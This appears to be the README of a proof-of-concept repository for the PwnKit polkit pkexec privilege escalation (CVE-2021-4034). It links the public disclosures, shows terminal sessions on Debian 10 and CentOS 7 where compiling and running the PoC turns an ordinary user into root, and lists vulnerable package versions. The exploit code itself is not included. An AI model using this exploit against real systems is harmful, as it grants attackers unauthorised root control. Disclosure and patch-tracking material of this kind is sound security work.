2022-01-26 01:05:00 +00:00
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# CVE-2021-4034
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2022-01-26 05:23:20 +00:00
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PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
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2022-01-26 01:05:00 +00:00
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2022-01-26 07:38:31 +00:00
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https://seclists.org/oss-sec/2022/q1/80
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2022-01-26 01:05:00 +00:00
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https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
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# PoC
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Verified on Debian 10 and CentOS 7.
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```
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user@debian:~$ grep PRETTY /etc/os-release
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PRETTY_NAME="Debian GNU/Linux 10 (buster)"
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user@debian:~$ id
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uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
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user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
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user@debian:~$ ./cve-2021-4034-poc
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# id
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uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
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```
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```
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[user@centos ~]$ grep PRETTY /etc/os-release
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PRETTY_NAME="CentOS Linux 7 (Core)"
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[user@centos ~]$ id
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uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
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[user@centos ~]$ ./cve-2021-4034-poc
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sh-4.2# id
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uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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sh-4.2# exit
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```
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2022-01-27 06:46:42 +00:00
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# Sphere of influence
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```Debain stretch policykit-1 < 0.105-18+deb9u2
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Debain buster policykit-1 < 0.105-25+deb10u1
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Debain bookworm, bullseye policykit-1 < 0.105-31.1
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Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
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Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
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Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
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Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 < 0.105-20ubuntu0.18.04.6)
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Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 < 0.105-14.1ubuntu0.5+esm1)
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Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 < 0.105-4ubuntu3.14.04.6+esm1)
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CentOS 6 polkit < polkit-0.96-11.el6_10.2
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CentOS 7 polkit < polkit-0.112-26.el7_9.1
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CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
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CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
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CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
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```
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